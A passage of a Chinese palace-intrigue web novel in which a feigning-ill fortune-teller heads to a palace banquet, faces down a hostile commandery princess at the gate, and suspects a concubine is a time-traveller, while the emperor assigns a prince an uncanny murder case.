她故意又虚软地晃了一下身子,引得沈清秋和林知鸳赶忙更紧地扶稳她,林小满顺势直接挽住二人的手臂。 这才抬起那双刻意显得水光潋滟、带着几分病态朦胧的眼睛,看向她们,声音气若游丝,却偏生带着一丝狡黠的调侃: “怎么了?娘亲,姐姐……可是我今日这‘病中美态’简直不像话,都把你们看呆了去?” 林知鸳最先反应过来,又是好气又是好笑,上前一步轻轻拍了下她的手背,顺势将她的手拉下去, “你呀!简直自恋得可以!我就没见过像你这么……这么会装模作样还自卖自夸的!” 沈清秋也忍俊不禁,拿帕子掩了掩嘴角的笑意,摇头叹道。 “啧啧,是啊,为娘也是头一回见识到,有人能把‘病’生得如此……嗯,颇具匠心,还这般洋洋自得的。” 林小满被两人打趣,也不恼,反而就着林知鸳的手,又故作娇弱地靠了靠,才想起什么似的,看向沈清秋问道:“娘亲,今日您也一同进宫吗?” 沈清秋摇了摇头,慈爱地替她理了理鬓角并不存在的乱发,温声道, “娘就不去了。今日是你们小辈的聚会,自有淑妃娘娘主持。娘去了,你们反倒拘束。” 她神色稍稍郑重了些,仔细叮嘱道:“小满,你记住了,入了宫,万事谨慎。就跟在你大姐姐身边,她熟悉宫规礼仪,会照应你。皇宫大内不比我们自家府上,规矩多,眼线也多,切记莫要独自乱走,莫要好奇打听,更莫要轻易与人起口舌之争。” “凡事多看多听少开口,若有人问起你身体,便照你如今这模样回话便是,少说少错,明白吗?” 林小满故意撅了撅那抹了淡淡口脂、显得些许干燥的唇,软声应道。 “娘亲,您就放一百个心吧!女儿都省得的,定然牢牢跟着姐姐,绝不乱跑,也绝不惹事。” “再说了,您女儿我聪明着呢,只有我‘病弱可怜’得让别人心疼的份儿,哪能那么容易让人欺负了去?您就安心在府里等着听好消息吧!” 第115章 穿越的? 沈清秋见她这古灵精怪的模样,明明虚弱得仿佛风一吹就倒,偏偏眼神里又藏着不肯服输的机灵劲,不由又是好笑又是无奈,轻轻点了点她的额头 “你呀!就会贫嘴!总之万事小心为上。” 她抬头看了看天色,收敛了笑意,温声道:“好了,时辰确实不早了,莫让宫里贵人久等。快上车吧。” 林知鸳也在一旁点头,假意伸手扶住林小满的胳膊,“当心脚下。” 兰竹和小花赶忙上前打起车帘,放下脚踏,林小满十分配合地做出微微气喘、需要借力的模样,这才慢吞吞地弯身钻入了车厢内。 车厢内的林小满时不时的掀开车帘看看外面,来京城这么久了,还是很惊讶于京城的繁华。 “别看了, 也不怕被有心之人瞧了去。”林知鸳伸手想要将车帘放下,正巧瞥见外面街角一处铺子门口被围得里三层外三层,人群熙攘,隐约还能看到官差的服色。 她动作一顿,凝神细看,不由轻咦出声:“咦?这不是雪香斋吗?怎地围了这么多人?” “姐姐知道雪香斋?”林小满顺着她的目光望去,心头微动,面上却故作好奇。 “这雪香斋在京城也算是家喻户晓了,”林知鸳收回目光,解释道,“铺面虽不算顶大,但他家的胭脂水粉却极受夫人小姐们的喜爱,尤其是最近新出的一个胭脂款式,名叫‘碧潭凝翠’,那颜色调得格外鲜亮好看,衬得人气色极佳。” 她说着,略带几分兴奋地微微侧过脸,指尖轻轻点了点自己的脸颊和唇瓣: “你瞧瞧,我今日用的便是他家的这一新款,是不是看上去气色十分好?” 林小满仔细看去,只见林知鸳面若桃花,唇色娇艳,果然光彩照人。 她心中那点模糊的猜测得到了印证,眉头几不可查地蹙了一下,语气却尽量放得平缓:“嗯,颜色确实鲜亮好看。但是……姐姐,我建议你以后还是不要用他家的东西为好。” 林知鸳闻言一怔,她并未怀疑林小满是因为羡慕或嫉妒,以小妹如今的身份和母亲的宠爱,她想要什么好东西没有?根本没必要在这种事上攀扯。 她心思转得极快,立刻联想到小妹那神乎其神的玄学之术,再结合方才看到的雪香斋门口的官差和人群,一个念头倏地窜入脑海:难道这胭脂水粉会有什么问题不成? 这个念头一起,她顿时觉得脸上那层细腻芬芳的胭脂仿佛变得灼人起来,下意识地就抬起手,想要用帕子擦掉。 林小满眼疾手快地轻轻按住她的手腕,摇了摇头,低声道:“算了,无事。偶尔一两次不妨事的,以后记得莫再用就是了。” 话虽如此,可怀疑的种子已然在林知鸳心中种下,并且迅速生根发芽。 她只觉得脸上似乎隐隐发痒,那股方才还令她自得的光彩此刻也变得可疑起来,心里像是堵了一团棉花,很是不爽利,总觉那脂粉之下藏着什么不干净的东西。 她讪讪地放下手,再也无心欣赏窗外的繁华,就连方才的好心情也蒙上了一层阴霾。 林小满见林知鸳神色恹恹,指尖无意识地摩挲着帕子,显然还在为胭脂的事耿耿于怀,她轻轻碰了碰林知鸳的手臂,声音放得更软了些: “快别想那铺子的事了。趁这会儿功夫,你再跟我细细说说宫里的事吧?哪些府的姐姐妹妹是性子好、可深交的?又有哪些人……是可能明里暗里要使绊子、需得格外留神的?” 一听这话,林知鸳果然被转移了注意力,她轻轻“哎呀”一声,敲了敲自己的额角,面露懊恼: “瞧我!光顾着说胭脂水粉,竟把最要紧的事给忘了!宫里这些弯弯绕绕,方嬷嬷想必也提点过你一些,但她毕竟是下人,许多宗亲贵胄间的牵扯和圣心偏向,她不便多言,也不敢妄议。” 她稍稍坐正了身子,神色认真起来,压低声音道:“如今宫里头,自然是皇后娘娘为尊。皇后娘娘与陛下乃是青梅竹马的情分,这份情谊远非寻常帝后可比,是皇上最为敬重信任之人。娘娘育有大皇子和三公主,若不出意外,大皇子既是嫡出又是长子,地位稳固无比。” “此外,高位妃嫔中,最需留意的便是德妃与淑妃二位娘娘。德妃娘娘说起来,与咱们林家还沾着些远亲,她是爹爹表妹的女儿,论起来,我们需唤她一声表姐。有这层关系在,她自然会多看顾我们几分。” 林小满适时地露出些许疑惑的神情,轻声问道:“那……今日做东的淑妃娘娘呢?” 林知鸳的神色顿时凝重了几分,声音压得更低:“淑妃娘娘……你需得千万小心应对。” 她顿了顿,组织了一下语言,“淑妃娘娘的出身,其实并不显赫。她的母亲原是长公主身边的一等宫女,年满二十五放出宫后,嫁与了一位马夫,生下了淑妃娘娘。后来长公主出宫建府后偶然遇见,见幼年的淑妃玉雪可爱,便将她要到了身边抚养。” “她年长当今圣上几岁。那时圣上在先帝跟前并不受重视,在宫中处境颇为艰难。淑妃娘娘那时不知圣上真实身份,只当他是个常受委屈的小太监,心生怜悯,时常偷偷接济他些吃食衣物,暗中帮衬了不少。” “用如今圣上的话来说,淑妃是与他共过患难、有过命交情的人。你想想,这份情谊,岂是寻常妃嫔可比?她在圣上心中的地位,自然极为特殊。” 林小满听得心中暗自咋舌,这皇上还真是个“情种”,既有青梅竹马的皇后,又有共患难的淑妃,这不得凑齐个“白月光”与“朱砂痣”的戏码? 果然,她这念头刚闪过,便听林知鸳继续压低声音道:“除此之外,还有一位梦嫔娘娘,也是位需得留神的人物。” 林知鸳微微蹙眉,似乎有些拿不准该如何评价这位妃嫔:“梦嫔是镇国将军府的旁支,论起来,是婉儿的堂姐。她早年曾有幸在陛下微服出巡时,无意间救过驾,因此得了恩宠入宫。” 第116章 从此独得圣心,一路开挂。 “但说来奇怪,她入宫后却从不与将军府过分亲近,也极少与人拉帮结派,性子……有些独。” “更奇的是,”林知鸳的声音里带上了几分不解和探究,“原本她的性子是有些傻傻的,是幼时被家中妾室所害,前些年她失足落水,大病一场,人人都以为她即便救回来,身子骨也坏了。谁知她醒来后,竟像是脱胎换骨变了个人似的!” “哦?如何变了?”林小满疑惑的看向林知鸳。 “从前她性子有些怯懦,甚至可以说有些木讷寡言,在家中如同隐形人一般。可病愈之后,整个人变得通透伶俐了许多,言谈举止也大方从容起来,时不时还能说出些极有意思的新鲜见解。” 林知鸳努力回想着听来的传闻,“就比如,她不知从哪儿琢磨出一种叫做‘奶茶’的饮子,用牛乳、清茶再加些蜜糖或饴糖一同烹煮,口感香甜丝滑,据说进宫后连陛下和皇后娘娘尝了都赞不绝口,如今在宫里宫中都风靡得很呢!” “她还时常能弄出些类似的小巧思,什么‘水果冰碗’、‘双皮奶’之类的甜食,或是些新奇有趣的绣样玩法,总之……与从前判若两人。” “如今虽位份只是嫔,圣宠也不算顶盛,但因着这份与众不同,反倒让人不敢小觑,在宫里也算是一号独特的人物了。” 林小满听着,面上不动声色,心中却掀起了惊涛骇浪,奶茶?双皮奶?这些名词……怎么听着如此耳熟?这分明和之前小黑老白与自己说的21世纪差不多,这位梦嫔娘娘,莫非…… 我槽!她不会是21世纪穿越过来的吧? 林小满越想越觉得心惊,奶茶、双皮奶、落水后性情大变、还能拿出各种新奇玩意儿……这梦嫔娘娘的种种行径,简直和她从那些异世话本里看来的“穿越”情节一模一样! 她脑中瞬间闪过无数个曾在小黑和老白那里听闻过的、来自另一个光怪陆离世界的词汇和故事桥段。 好家伙!林小满几乎要在心里拍案叫绝了。 若真是如此,那这后宫戏码可就更精彩了!按照那些穿越话本的套路,接下来岂不是要上演一出《穿越之魅惑君心:陛下请独宠我》? 或者更霸气一点的《凤舞乾坤:穿越女帝的逆袭之路》? 她几乎能想象出这位梦嫔在宫里如何大展拳脚,用那些闻所未闻的现代知识和技术,什么“肥皂”、“香水”、“高跟鞋”,说不定还能搞出个“皇宫第一届时装发布会”或者“御花园BBQ”,把皇上和六宫妃嫔迷得一愣一愣的,从此独得圣心,一路开挂。 最终要么母仪天下,要么干脆自己当上女帝,成就一番霸业…… 这剧情,光是想想就让人觉得……刺激! 林小满按捺住心底翻涌的兴奋与强烈的好奇,打定主意,若有机会,定要好好会一会这位梦嫔娘娘。 林知鸳看着林小满一会儿低头抿嘴傻笑,一会儿又眼神发亮、神游天外的模样,忍不住用手肘轻轻碰了碰她,疑惑道:“你这是干嘛呢?一会儿愁一会儿笑的,魔怔了不成?” 林小满这才从“穿越女大战后宫”的精彩脑补中回过神来,嘿嘿干笑两声,掩饰道: “没、没什么!就是想到些有趣的事儿。姐姐,宫里还有哪些需要注意的?快再跟我说说。” 林知鸳狐疑地瞥了她一眼,但还是顺着话题继续压低声音,神色也重新变得严肃起来: “其他的倒没什么特别需提防的了。只是,淑妃娘娘与长公主府素来交好,走动频繁。我总觉得,方令仪她们前脚刚给你下了那阴毒咒术,后脚淑妃娘娘就突然举办这赏花宴,时机未免太过巧合。” “今日已是咒术最后的期限,我担心……她们会不会是想在宴会上,对你行最后的……” 她话未说尽,但意思已然明了,眼中流露出深深的忧虑。 林小满闻言,沉吟片刻,摇了摇头, “这个可能性有,但我觉着应当不大。方令仪她们胆子再大,应当也不敢在皇宫众目睽睽之下再行巫蛊之术吧?这可是皇宫大内,一旦被发现,可是抄家灭族的大罪,她们真就如此不怕死?” “你说得对,”林知鸳蹙眉认同,“她们确实没那个胆子在宫里直接动手。但这场宴绝非无故举办,我总觉得她们必有所图,或许会借机生事,言语打压或是设下什么其他圈套,我们务必万分小心才是。总之,牢记娘亲的话,少说话,多看多听,莫要轻易离开我身边。” 林小满点了点头:“嗯,我明白的,姐姐放心。” 就在这时,马车轻轻一顿,缓缓停了下来。 车外喧嚣的人声和马蹄声变得清晰起来。 林知鸳撩开车帘一角向外望了望,低声道:“到了。马车只能行至宫门外,后面的路,我们得自己走进去了。” 她话音刚落,车窗外便响起了车夫恭敬的声音:“大小姐,二小姐,宫门到了。” 两人的双脚刚在宫门前的青石板地上站稳,林小满便微微侧首,对着侍立一旁的兰竹轻声吩咐道: “兰竹,你就不必随我进宫了,在外面马车旁候着便是。顺便……” 她声音压得更低,凑近兰竹耳边,极快地低声说了几句什么。 兰竹凝神细听,随即恭敬地福了福身子,应道:“是,小姐,奴婢明白了。” 话音刚落,宫门广场另一端突然传来一阵急促而嚣张的马蹄声,由远及近,速度极快,丝毫没有在宫门前减速的意思,引得周围正准备入宫的贵女家眷们纷纷侧目避让。 林知鸳闻声回头望去,只见一辆装饰奢华的马车正不管不顾地朝着她们的方向疾驰而来,她脸色倏地一白,下意识地就想拉着林小满向旁边躲闪。 “小妹,快让开!” 然而,林小满却像是被吓傻了般,非但没有跟着躲闪,反而停下了所有动作,一双因刻意妆容而显得水汪汪的眼睛直直地盯着那辆冲来的马车,脚下如同生了根,一动不动地站在原地。 第117章 宫外被吓 那驾车的车夫显然也没料到竟有人敢不避不让,眼看就要撞上,吓得猛地勒紧缰绳! “吁——!” 骏马被强行勒停,发出一声痛苦而不满的长嘶,两只前蹄高高扬起,在空中剧烈地蹬踏了几下,才重重落回地面,喷着粗重的响鼻,马车车厢也因此猛地颠簸摇晃了一下。 车停的位置,距离林小满和林知鸳,不过短短一两步的距离,可谓是险之又险。 周围瞬间安静了下来,所有目光都聚焦在这惊险的一幕上。 林小满被那近在咫尺、高高扬起的马蹄和骏马嘶鸣吓得浑身一颤,本就苍白的脸色瞬间更是血色尽褪,变得透明一般。 她脚下发软,娇弱的身形摇摇欲坠,若非小花眼疾手快地用力撑住她胳膊,恐怕她真就要“惊吓过度”,软软地晕厥过去了。 林知鸳看着妹妹这副仿佛下一刻就要香消玉殒的脆弱模样,心头一紧,一时间竟也分不清她是真的被吓到了,还是将这“病弱受惊”的戏码演得登峰造极。 但无论真假,方家马车在宫门前如此嚣张跋扈,险些冲撞了相府小姐,这口气是绝不能忍的! 她当即上前一步,将林小满护在身后,俏脸含霜,目光锐利地看向那辆刚刚停稳的奢华马车,声音带着不容置疑的怒意,清晰地响彻在骤然安静的宫门前: “车内可是令仪郡主?郡主殿下即便身份尊贵,也该知晓宫门重地,非是纵马驰骋之所!方才若非车夫及时勒停,我妹妹身子孱弱,受此惊吓若有任何差池,郡主殿下可能担待得起?” “莫非郡主以为,凭着皇室宗亲的身份,便可在这天子脚下、宫门之前罔顾礼法、肆意妄为了吗?!” 她这番话,先是点明对方身份,坐实其嚣张行径,再强调宫门规矩和林小满的“病弱”。 将己方置于受害且有理的一方,最后更是直接上升到了“罔顾礼法”、“肆意妄为”的高度,字字句句都占着理,声音不大却也让周围所有的人都听得清清楚楚。 一时之间,周围那些原本噤若寒蝉的贵女和家眷们虽不敢大声附和,却也忍不住纷纷窃窃私语起来,目光在丞相府马车和方家马车之间来回逡巡。 虽说方令仪是她们惹不起的存在,但林大小姐占着理,丞相府也不是吃素的,这热闹,可有的看了。 就在这片压抑的议论声中,那辆奢华马车的车帘被一只涂着鲜红丹蔻的手猛地掀开。 方令仪探出半个身子,她今日打扮得格外明艳照人,此刻却面带讥诮,目光先是轻蔑地扫过被小花搀扶着、仿佛随时会晕倒的林小满,然后才落到护在前方的林知鸳身上,嗤笑一声: “哦?是吗?” 她的声音带着毫不掩饰的嘲讽,刻意扬高了声调,确保周围所有人都能听见: “林大小姐这话说的可真真是吓煞人了。冲撞?担待?我可看得清清楚楚,我的马车离令妹可还有好几步远呢,车夫技术好,停得稳当,连片衣角都没碰着。” 她话锋一转,眼神恶狠狠的射向林小满,语气也愈发尖刻: “倒是听说贵府的二小姐,自回京后便在市井街巷摆摊算卦,操持生计,想来自是身强体健、经得起风浪的。怎么今日反倒娇弱得风吹就倒了?该不会是……故意杵在路中间,想演一出‘惊马碰瓷’的戏码,好赖上我们长公主府吧?” 她这番颠倒黑白、倒打一耙的说辞,既贬低了林小满曾经的经历,又将她此刻的“病弱”诬陷为别有用心,可谓恶毒至极。 林小满在方令仪那恶毒的目光和刻薄的言语中,似乎被吓得又瑟缩了一下,羸弱的身躯微微颤抖,愈发显得楚楚可怜。 她艰难地抬起那双氤氲着水汽、因受惊而更显朦胧的眼睛,望向方令仪,声音细若游丝,却带着一种奇异的清晰度,足以让周围竖着耳朵的人都听见: “郡、郡主殿下言重了……”她气息微弱,仿佛说一句话都要耗费极大的力气, “小女子……自幼流落在外,生计所迫,时常抛头露面……但正因如此,深知市井疾苦,也更惜命怕事得很……” 她轻轻喘了口气,像是承受不住巨大的委屈,眼睫颤了颤,继续低声道, “方才……郡主车驾来得突然,迅疾如风,小女子一时惊惶,腿软无力,实在……实在是躲闪不及,绝非有意阻拦。惊扰了郡主车驾,是小女子的不是……” 她这番话,看似示弱认错,实则句句都在反驳方令仪的“碰瓷”诬陷。 一是点明自己“惜命怕事”,根本不会做这种危险之事; 二是强调对方车速太快,自己是“躲闪不及”的受害者; 三是将自己放在低位,以退为进,反而更衬得方令仪仗势欺人,连一个“腿软无力”的病弱之人都要咄咄相逼。 那副泫然欲泣、强撑着力气解释的模样,比任何厉声反驳都更能引人同情。 果然,周遭的窃窃私语声更明显了些,投向方令仪的目光也带上了更多的不认同和谴责。 方令仪敏锐地察觉到周遭那些窃窃私语和指指点点的目光,脸色瞬间阴沉得能滴出水来。 她冷哼一声,竟干脆利落地弯腰下了马车,步履带着一股骄横之气,径直走到林小满面前。 她居高临下地打量着林小满那摇摇欲坠、仿佛下一刻就要碎掉的脆弱模样,先前的不快似乎被一种恶意的快感所取代,嘴角勾起一抹讥讽的弧度。 “呵,”她嗤笑一声, “林二小姐这身子骨,可真是纸糊的一般。听说你在乡下时没少做农活,风吹日晒的,按理说该皮实得很才对,怎么回了京城金尊玉贵地养着,反倒娇气起来了?该不会是……水土不服,染了什么不干净的病气吧?” 她的话语愈发刻薄,“今日可是淑妃娘娘举办的赏花宴,来的都是金枝玉叶的贵人。你这副病病歪歪、站都站不稳的模样,可别把什么晦气病气过给了旁人,那才是真真的大不敬,没得玷污了这宫闱圣地,也失了相府的体面!真真是不懂规矩!” 第118章 我真没事 就在林知鸳气得脸色发白,正要发作的时候,一道清脆又带着几分熟悉傲气的声音从不远处传了过来: “哎呦喂……我当是谁这么大阵仗,在宫门口就嚷嚷着‘病气’、‘晦气’的,原来是郡主殿下驾到了呀!” 这声音恰到好处地打破了方才紧绷的气氛,带着一种漫不经心的调侃,瞬间将所有人的目光都吸引了过去。 众人回头,只见秦婉正领着一个丫鬟,不紧不慢地朝这边走来。 她今日也穿了一身鹅黄色的襦裙,衬得人格外娇俏灵动,脸上挂着似笑非笑的表情,目光先是扫过脸色难看的方令仪,然后便落在了被小花搀扶着、楚楚可怜的林小满身上。 秦婉走到近前,先是像模像样地给方令仪行了个礼:“请郡主安。” 礼数倒是周全,但那语气里的敷衍任谁都听得出来。 不等方令仪发作,她便直起身,故作惊讶地看向林小满,声音扬高了几分:“呀!小满妹妹,你这脸色怎么白成这样?可是身子又不适了?” 她边说边走上前,极其自然地隔开了方令仪投向林小满的视线,语气带着明显的维护: “郡主殿下您怕是有所不知,小满妹妹前些日子确实是身子不爽利,大病了一场,这才将养得好些,今日是勉强撑着来赴淑妃娘娘的宴,已是极为不易了。” 她话锋一转,笑吟吟地看向方令仪,话语里的刺却藏得恰到好处, “这病去如抽丝,脸色差点也是常理。怎么到了郡主嘴里,就成了‘不干净的病气’了?咱们这些人谁还没个三病两痛的?” “若按郡主这么说,日后咱们但凡感个风寒咳嗽,是不是都该自觉点,离皇宫远远的,免得‘玷污’了这圣地呀?” 方令仪被秦婉这番连消带打、夹枪带棒的话噎得胸口起伏,脸色一阵青一阵白。 她从小就和秦婉不对付,自然之道再纠缠下去,有她这个牙尖嘴利的在,自己也占不到什么便宜,反而更失颜面。 她狠狠剜了秦婉和林小满一眼,从牙缝里挤出一句:“哼,巧言令色!本郡主懒得与你们一般见识!” 说罢,竟是真的猛地一甩袖,转身就朝着宫门方向走去,连马车也不打算等了,显然是气极了。 见她竟就这样偃旗息鼓要走,秦婉哪里肯轻易放过,立刻在她身后提高了声音,语气里充满了无辜和惊讶: “诶?郡主这就走了?我也没说啥呀,不过是就事论事,闲聊几句罢了。这宫门口站久了确实容易染上风寒,郡主金尊玉贵,可要仔细身子,快些进去暖和暖和才是正理!” 这话听起来像是关切,可实则句句都在戳方令仪刚才那番“病气”论的脊梁骨。 方令仪脚步猛地一顿,霍然转身,伸手指着秦婉,气得指尖都在发颤:“秦婉!你……你不要太过分!” 秦婉立刻睁大了眼睛,表情更加无辜,甚至还带着点委屈,她摊了摊手,声音清脆: “我怎么了?我又没有指名道姓,郡主殿下您这么生气做什么?莫非……是觉得自己方才那番‘病气晦气’的高论,确实有些站不住脚,所以听什么都觉得是在含沙射影了?” 她这话简直是火上浇油,偏偏还摆出一副“我只是随口说说你怎么就对号入座”的纯良模样。 气得方令仪几乎要呕出血来,最终只能重重地“哼”了一声,铁青着脸,头也不回地快步冲进了宫门,生怕再多待一刻就会被活活气死。 眼见方令仪的身影气急败坏地消失在宫门内,秦婉再也忍不住,捂着肚子畅快地大笑起来,一边笑还一边故意朝着宫门方向扬声道: “诶!郡主殿下!您别走那么快啊!等等我们嘛,一起进去呀!这一路上少了您,得多无趣啊!” 直到彻底看不见方令仪了,秦婉才意犹未尽地止住笑声,擦了擦笑出的眼泪。 一旁的林知鸳又好气又好笑,看着她那得意忘形的模样,忍不住抬手不轻不重地拍了一下她的肩膀。 秦婉正笑得浑身放松,猝不及防被这么一拍,差点一个趔趄摔倒在地,幸好身边的丫鬟眼明手快扶住了她。 “哎哟!”秦婉稳住身形,立刻扭头瞪向林知鸳,嗔怪地反手轻轻推了她一下, “林知鸳!你干什么呢!恩将仇报是不是?我刚可是帮你们出了口恶气!” 她叉着腰,做出一副凶巴巴的样子,但眼底却全是笑意: “哼!要我说,你们俩这嘴皮子功夫可真不行!区区一个方令仪,居然能把你们堵得说不出话来?还得本小姐出马!” 林知鸳也被她这活宝样子逗笑了,摇头道:“是是是,就数你秦大小姐最厉害,这张嘴啊,怕是能把死的都说成活的,我们可比不了。” 秦婉得意地扬了扬下巴,正要再自夸两句,目光却瞥见一旁被小花扶着、脸色依旧苍白如纸、安静得过分的林小满。 她脸上的笑容瞬间收敛,转为真切的担忧,凑近几步,仔细打量着林小满: “诶,小满,你这脸色……怎么这么难看?前些日子见你还好好的,活蹦乱跳的,这才几天没见,怎么真病成这样了?” 她眉头紧蹙,语气里满是关心,“该不会真是水土不服,还是不小心染了风寒?严重吗?要不要紧啊?” 她那咋咋呼呼的劲儿收了起来。 林小满对着秦婉虚弱地笑了笑,“我真的没事……只是身子还有些虚,容易疲累,歇一歇就好了。” 秦婉显然不信,眉头依旧蹙着,担忧地追问: “真的没事吗?你这脸色白得吓人,可别硬撑。要不我让人先去禀一声,找个太医来瞧瞧?反正这会儿还没正式开宴。” 林小满轻轻摇了摇头,“我自己的身子自己清楚,只是看着吓人,其实并无大碍的。歇口气就好多了。” 见她再三坚持,秦婉这才稍稍放下心来,但那活泼的性子立刻又回来了。 第119章 进宫 她舒了口气,拍了拍胸口道:“没事就好,没事就好!你可吓死我了。” 随即,她一手挽住林知鸳,另一手作势也要去扶林小满,兴致勃勃地道: “那咱们也别在这儿傻站着了,赶紧进去吧!这宫门口的穿堂风还挺凉的,可别真把你吹着了。再说了,好戏……呃,我是说,赏花宴肯定已经挺热闹了,去晚了可要错过精彩的了!” 她说着,还对林知鸳和林小满眨了眨眼,暗示着对方令仪可能还不死心,宴会上或许还有“好戏”可看。 …… 御书房内,气氛沉凝,冰鉴里散出的丝丝凉意怎么也驱不散那份无形的压抑。 皇帝端坐于龙案之后,明黄的龙袍衬得他面色愈发深沉他手中紧握着一本奏折,眉头紧锁。 身后两名宫女低眉顺眼,手持孔雀羽扇,动作轻柔而规律地扇着风,不敢发出丝毫声响。 御前总管太监李德全则半弓着身子,静立在一旁,气息收敛,如同泥雕木塑。 良久,皇帝猛地将奏折重重拍在案上,发出一声闷响,惊得两名宫女扇风的动作都微微一滞。 “哼!好一个体恤圣意!朕看他们是越发不把朕放在眼里了!这等推诿塞责之词,也敢呈到御前来!”皇帝怒气冲冲的将手中的折子狠狠的丢在桌上。 李德全神色担忧的看了一眼皇帝,“皇上,注意身子啊。” 就在李德全还想继续说什么的时候,一名面容清秀的小太监悄无声息地弓着腰从殿外进来,脚步轻得如同猫儿一般。 他行至御案前不远,停下脚步,压低声音,恭敬地禀报道:“启禀皇上,靖安王爷在殿外求见。” 龙椅上的皇帝闻言,面上的怒色稍霁,他深吸一口气,将那份惹他心烦的奏折往旁边一推,语气缓和了些许:“让他进来吧。” “是。”小太监应声,悄步退下。 片刻后,书房门被轻轻推开,裴昭走了进来。 行至御案前,他依制撩袍,便要屈膝行礼:“臣弟,参见皇兄。” “行了行了,这里又没外人,不必多礼。”皇帝温和的打断了他的动作。 说着,他从龙椅上站起身,绕过书案,亲自走了过来。 他伸手稳稳托住裴昭的手臂,阻止他下拜,语气带着些许责备,更多的却是亲近:“早就同你说过,私下见面,无需这些虚礼。” 他拉着裴昭的手臂,将他轻轻扶起,仔细端详了一下他的面色,才松开手,语气转为关切, “今日你差人前来告假,朕还正惦记着,可是身子又不爽利了?” 裴昭闻言,唇角微扬,露出一抹淡然的笑意,“多谢皇兄挂心。臣弟这副身子骨是什么情形,皇兄您还不知道?” 他说得云淡风轻,甚至还带着几分自嘲般的调侃,仿佛在说一件再寻常不过的小事。 皇帝见他神态从容,还有心思说笑,不由也跟着哈哈大笑起来,先前积压的怒意顿时消散了不少。 他抬手拍了拍裴昭的臂膀,眼中带着欣慰: “好!还有精神跟朕开玩笑,看来是真无大碍。朕也就放心了。说吧,既然不是身体不适,那今日特意递牌子进宫,是遇上什么要紧事了?” 裴昭闻言,神色稍正,答道:“回皇兄,确实是遇到了一桩事,虽非军国大事,却也有些奇异。今日前来赴朝会途中,忽闻南城永兴坊内一家脂粉铺子突发命案,动静不小,臣弟便顺路去查看了一番。” “哦?”皇帝挑眉,眼中流露出些许讶异,一边说着,一边引着裴昭向御书房旁布置得更为舒适随意的暖阁走去, “这倒不似你平日作风,区区一桩民间命案,何须劳动你靖安王亲自过问?可是那案子里有什么蹊跷之处?” “皇兄明鉴,”裴昭随着皇帝的脚步,语气沉静地回应, “确实颇有蹊跷。那铺子的女工死于非命,但死状极为诡异……臣弟赶到时,所见并非寻常尸身,那妇人竟仿佛被抽干了全身血肉,只剩下一张人皮包裹着骨架,形销骨立,可怖异常,绝非寻常凶杀手段所能及。” 皇帝正欲在铺着软垫的紫檀木扶手椅上坐下,听见这话,动作猛地一顿,霍然转头看向裴昭,脸上温和的神情已被震惊与凝重所取代: “竟有此事?光天化日,京师重地,发生如此骇人听闻之事?” 他的眉头紧紧锁起,语气中充满了难以置信和一丝不易察觉的厉色。 等到皇帝先行落座,并抬手示意,裴昭才于下首的绣墩上坐下。 皇帝身体微微前倾,目光锐利地追问道:“既发生此等诡谲之事,仵作可已验过尸身了?他们怎么说?” 裴昭神色凝重地颔首道:“臣弟赶到时,仵作刚验完尸身。据其回报,那妇人周身皮囊完好,并未发现任何明显外伤或内损之迹,可偏偏……内里的血肉骨髓竟似凭空消失殆尽,只余一层枯皮紧裹骨架。 此等情形,莫说是在京城,恐怕翻遍我大胤朝刑狱卷宗,也从未出现过如此诡异离奇之事。” 皇帝听完这番话,双眉紧锁,殿内一时陷入沉寂。 片刻之后,他才缓缓开口,“此事……你怎么看?若真如你所说,绝非寻常人力可为,实在过于蹊跷诡谲。若是消息走漏,让百姓得知,恐怕……” “臣弟所担心的正是此事!”裴昭立刻接口,语气中带着明显的忧虑,“京师乃天下首善之地,人心安定最为紧要。此等闻所未闻的骇异之事,若被百姓知晓,必定谣言四起,人心惶惶。” “届时,恐怕不止是南城一坊动荡,甚或有奸人借机散布妖言,蛊惑民心,宣称是什么妖物作祟、鬼神降罚之类,引出更大的乱子。” 皇帝沉吟片刻,指节轻轻叩着桌面:“嗯。如今国师又正闭关清修,刑部那群老手办案虽稳,却未必能察此等诡谲之事……” “不若让青阳前去瞧瞧如何?先前霍华畅那桩案子,朕见他办得极是漂亮,条分缕析,果决明断,小小年纪便已隐隐有了他师父当年的风范。” 裴昭微微摇头,“青阳确实聪慧机敏,是可造之材。但此案非比寻常,并非寻常刑狱凶杀,其状可怖,其理莫测,更牵涉京师民心安稳。” “臣弟观之,青阳虽锐气十足,但终究太过年轻,历练尚浅,心性未必足够沉稳。骤然将此等匪夷所思、干系重大的奇案压于其身,只怕他难以承受,若中途处理稍有差池,反为不美。” 皇帝听罢,若有所思地看着裴昭:“那你心中可有更稳妥的人选?” 裴昭面露沉吟,似有斟酌,片刻后方道:“臣弟一时也难有万全之选。只是深感此事太过蹊跷阴邪,绝非等闲,查案之人不仅需胆大心细、经验老道,更需……需得有些应对非常之事的魄力与手腕,方不至于自乱阵脚,亦能压下可能产生的流言蜚语。” 皇帝目光深邃地看了裴昭一会儿,忽然朗声一笑,似是看穿了他的顾虑与未尽之语,抬手一挥,决断道: “罢了!既然你如此说,看来此事非你莫属。朕便将此案交予你全权负责!至于你要请谁来协助于你,或是想动用哪些人手,皆由你自行定夺。宫内侍卫,宫外衙署,朕准你随意调遣,务必查明真相,安定人心!” 说着,皇帝对裴昭露出了一个“朕明白你用意”的宽厚又略带调侃的笑容。 第120章 我无心成婚 裴昭状似随意地开口问道。“臣弟方才进宫时,见宫门外车马络绎,似乎有不少贵女云集,今日可是宫中哪位娘娘设宴?” 皇帝闻言先是一怔,随即像是发现了什么极有趣的事情,抚掌哈哈大笑起来,笑声中充满了戏谑: “稀奇!真是稀奇!朕这靖安王弟,平日里不是忙于政务,便是关起门来静养,何时竟也开始留意起这等莺莺燕燕、脂粉繁华之事了?莫非今日太阳是打西边出来了?” 裴昭被皇帝笑得略显窘迫,面上闪过一丝不易察觉的尴尬,连忙解释道: “皇兄说笑了。臣弟不过是恰巧看见,觉得阵仗不小,故而随口一问,并无他意。” 皇帝却止了笑,目光变得意味深长起来,他端起手边的茶盏,轻轻撇去浮沫,语气缓和却带着不容回避的关切: “昭弟,你可知母后近日又向朕问起你的婚事?你早年便以体弱兼志在四方为由,屡屡推拒父皇和母后为你择定的亲事,直言不愿早早被家室所累。如今……你这想法,可曾改变了分毫?” “这满京城的闺秀,才貌双全、性情温婉者不知凡几,难道历经这许多年,就当真无一人能稍稍入得你的眼,让你心生驻足之念?” 裴昭闻言,唇角牵起一抹淡淡的苦笑,语气带着几分自嘲: 